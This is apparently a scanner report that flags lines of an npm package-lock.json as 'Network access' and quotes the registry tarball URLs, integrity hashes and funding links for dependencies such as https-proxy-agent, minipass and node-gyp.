    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",       "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
  • Network accessline 1270
    "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
  • Network accessline 1282
    "node_modules/https-proxy-agent/node_modules/debug": {       "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 1283
    "version": "4.4.3",       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",       "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
  • Network accessline 1284
    "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
  • Network accessline 1300
    "node_modules/https-proxy-agent/node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 1301
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 1302
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 1307
    "node_modules/humanize-ms": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz",
  • Network accessline 1308
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz",       "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==",
  • Network accessline 1309
    "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz",
  • Network accessline 1317
    "node_modules/iconv-lite": {       "version": "0.4.24",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
  • Network accessline 1318
    "version": "0.4.24",       "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",       "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
  • Network accessline 1319
    "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
  • Network accessline 1329
    "node_modules/ieee754": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
  • Network accessline 1330
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",       "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
  • Network accessline 1331
    "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
  • Network accessline 1334
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 1335
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 1336
    "url": "https://github.com/sponsors/feross"
  • Network accessline 1338
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 1339
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 1340
    "url": "https://www.patreon.com/feross"
  • Network accessline 1342
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 1343
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 1344
    "url": "https://feross.org/support"
  • Network accessline 1349
    "node_modules/imurmurhash": {       "version": "0.1.4",       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
  • Network accessline 1350
    "version": "0.1.4",       "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",       "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
  • Network accessline 1351
    "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
  • Network accessline 1359
    "node_modules/indent-string": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
  • Network accessline 1360
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",       "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
  • Network accessline 1361
    "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
  • Network accessline 1369
    "node_modules/infer-owner": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
  • Network accessline 1370
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",       "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==",
  • Network accessline 1371
    "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
  • Network accessline 1376
    "node_modules/inflight": {       "version": "1.0.6",       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
  • Network accessline 1377
    "version": "1.0.6",       "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
  • Network accessline 1378
    "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",       "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",       "deprecated": "This module is not supported,
  • Network accessline 1388
    "node_modules/inherits": {       "version": "2.0.4",       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
  • Network accessline 1389
    "version": "2.0.4",       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",       "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
  • Network accessline 1390
    "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
  • Network accessline 1394
    "node_modules/ini": {       "version": "1.3.8",       "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
  • Network accessline 1395
    "version": "1.3.8",       "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",       "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==",
  • Network accessline 1396
    "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
  • Network accessline 1400
    "node_modules/ip-address": {       "version": "10.1.0",       "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz",
  • Network accessline 1401
    "version": "10.1.0",       "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz",       "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==",
  • Network accessline 1402
    "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz",
  • Network accessline 1410
    "node_modules/ipaddr.js": {       "version": "1.9.1",       "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
  • Network accessline 1411
    "version": "1.9.1",       "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",       "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
  • Network accessline 1412
    "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
  • Network accessline 1419
    "node_modules/is-fullwidth-code-point": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
  • Network accessline 1420
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQ
  • Network accessline 1421
    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
  • Network accessline 1429
    "node_modules/is-lambda": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz",
  • Network accessline 1430
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz",       "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==",
  • Network accessline 1431
    "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz",
  • Network accessline 1436
    "node_modules/isexe": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 1437
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",       "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
  • Network accessline 1438
    "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
  • Network accessline 1443
    "node_modules/lru-cache": {       "version": "6.0.0",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
  • Network accessline 1444
    "version": "6.0.0",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",       "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
  • Network accessline 1445
    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
  • Network accessline 1456
    "node_modules/make-error": {       "version": "1.3.6",       "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
  • Network accessline 1457
    "version": "1.3.6",       "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",       "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==",
  • Network accessline 1458
    "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
  • Network accessline 1463
    "node_modules/make-fetch-happen": {       "version": "9.1.0",       "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz",
  • Network accessline 1464
    "version": "9.1.0",       "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz",       "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==",
  • Network accessline 1465
    "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz",
  • Network accessline 1491
    "node_modules/math-intrinsics": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
  • Network accessline 1492
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",       "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
  • Network accessline 1493
    "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
  • Network accessline 1500
    "node_modules/media-typer": {       "version": "0.3.0",       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
  • Network accessline 1501
    "version": "0.3.0",       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",       "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
  • Network accessline 1502
    "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
  • Network accessline 1509
    "node_modules/merge-descriptors": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
  • Network accessline 1510
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",       "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==",
  • Network accessline 1511
    "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
  • Network accessline 1513
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1514
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 1515
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1518
    "node_modules/methods": {       "version": "1.1.2",       "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
  • Network accessline 1519
    "version": "1.1.2",       "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",       "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
  • Network accessline 1520
    "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
  • Network accessline 1527
    "node_modules/mime": {       "version": "1.6.0",       "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
  • Network accessline 1528
    "version": "1.6.0",       "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",       "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
  • Network accessline 1529
    "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
  • Network accessline 1539
    "node_modules/mime-db": {       "version": "1.52.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
  • Network accessline 1540
    "version": "1.52.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",       "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
  • Network accessline 1541
    "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
  • Network accessline 1548
    "node_modules/mime-types": {       "version": "2.1.35",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
  • Network accessline 1549
    "version": "2.1.35",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",       "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
  • Network accessline 1550
    "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
  • Network accessline 1560
    "node_modules/mimic-response": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
  • Network accessline 1561
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",       "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==",
  • Network accessline 1562
    "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz",
  • Network accessline 1567
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1568
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 1569
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 1572
    "node_modules/minimatch": {       "version": "3.1.2",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
  • Network accessline 1573
    "version": "3.1.2",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",       "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
  • Network accessline 1574
    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
  • Network accessline 1585
    "node_modules/minimist": {       "version": "1.2.8",       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
  • Network accessline 1586
    "version": "1.2.8",       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",       "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
  • Network accessline 1587
    "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
  • Network accessline 1589
    "license": "MIT",       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1590
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 1591
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 1594
    "node_modules/minipass": {       "version": "3.3.6",       "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
  • Network accessline 1595
    "version": "3.3.6",       "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",       "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
  • Network accessline 1596
    "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
  • Network accessline 1606
    "node_modules/minipass-collect": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
  • Network accessline 1607
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",       "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==",
  • Network accessline 1608
    "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
  • Network accessline 1619
    "node_modules/minipass-fetch": {       "version": "1.4.1",       "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz",
  • Network accessline 1620
    "version": "1.4.1",       "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz",       "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==",
  • Network accessline 1621
    "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz",
  • Network accessline 1637
    "node_modules/minipass-flush": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",
  • Network accessline 1638
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",       "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==",
  • Network accessline 1639
    "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",
  • Network accessline 1650
    "node_modules/minipass-pipeline": {       "version": "1.2.4",       "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",
  • Network accessline 1651
    "version": "1.2.4",       "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",       "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==",
  • Network accessline 1652
    "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",
  • Network accessline 1663
    "node_modules/minipass-sized": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz",
  • Network accessline 1664
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz",       "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==",
  • Network accessline 1665
    "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz",
  • Network accessline 1676
    "node_modules/minizlib": {       "version": "2.1.2",       "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
  • Network accessline 1677
    "version": "2.1.2",       "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",       "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
  • Network accessline 1678
    "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
  • Network accessline 1689
    "node_modules/mkdirp": {       "version": "1.0.4",       "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
  • Network accessline 1690
    "version": "1.0.4",       "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",       "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
  • Network accessline 1691
    "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
  • Network accessline 1701
    "node_modules/mkdirp-classic": {       "version": "0.5.3",       "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
  • Network accessline 1702
    "version": "0.5.3",       "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",       "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==",
  • Network accessline 1703
    "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
  • Network accessline 1707
    "node_modules/ms": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
  • Network accessline 1708
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",       "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
  • Network accessline 1709
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
  • Network accessline 1713
    "node_modules/napi-build-utils": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz",
  • Network accessline 1714
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz",       "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==",
  • Network accessline 1715
    "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz",
  • Network accessline 1719
    "node_modules/negotiator": {       "version": "0.6.3",       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
  • Network accessline 1720
    "version": "0.6.3",       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",       "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==",
  • Network accessline 1721
    "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz",
  • Network accessline 1728
    "node_modules/node-abi": {       "version": "3.85.0",       "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz",
  • Network accessline 1729
    "version": "3.85.0",       "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz",       "integrity": "sha512-zsFhmbkAzwhTft6nd3VxcG0cvJsT70rL+BIGHWVq5fi6MwGrHwzqKaxXE+Hl2GmnGItnDKPPkO5/LQqjVkIdFg==",
  • Network accessline 1730
    "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz",
  • Network accessline 1740
    "node_modules/node-addon-api": {       "version": "7.1.1",       "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
  • Network accessline 1741
    "version": "7.1.1",       "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",       "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
  • Network accessline 1742
    "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
  • Network accessline 1746
    "node_modules/node-gyp": {       "version": "8.4.1",       "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz",
  • Network accessline 1747
    "version": "8.4.1",       "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz",       "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==",
  • Network accessline 1748
    "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz",
  • Network accessline 1771
    "node_modules/nopt": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
  • Network accessline 1772
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",       "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
  • Network accessline 1773
    "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
  • Network accessline 1787
    "node_modules/npmlog": {       "version": "6.0.2",       "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz",
  • Network accessline 1788
    "version": "6.0.2",       "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz",       "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==",
  • Network accessline 1789
    "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz",
  • Network accessline 1804
    "node_modules/object-assign": {       "version": "4.1.1",       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
  • Network accessline 1805
    "version": "4.1.1",       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",       "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
  • Network accessline 1806
    "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
  • Network accessline 1813
    "node_modules/object-inspect": {       "version": "1.13.4",       "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
  • Network accessline 1814
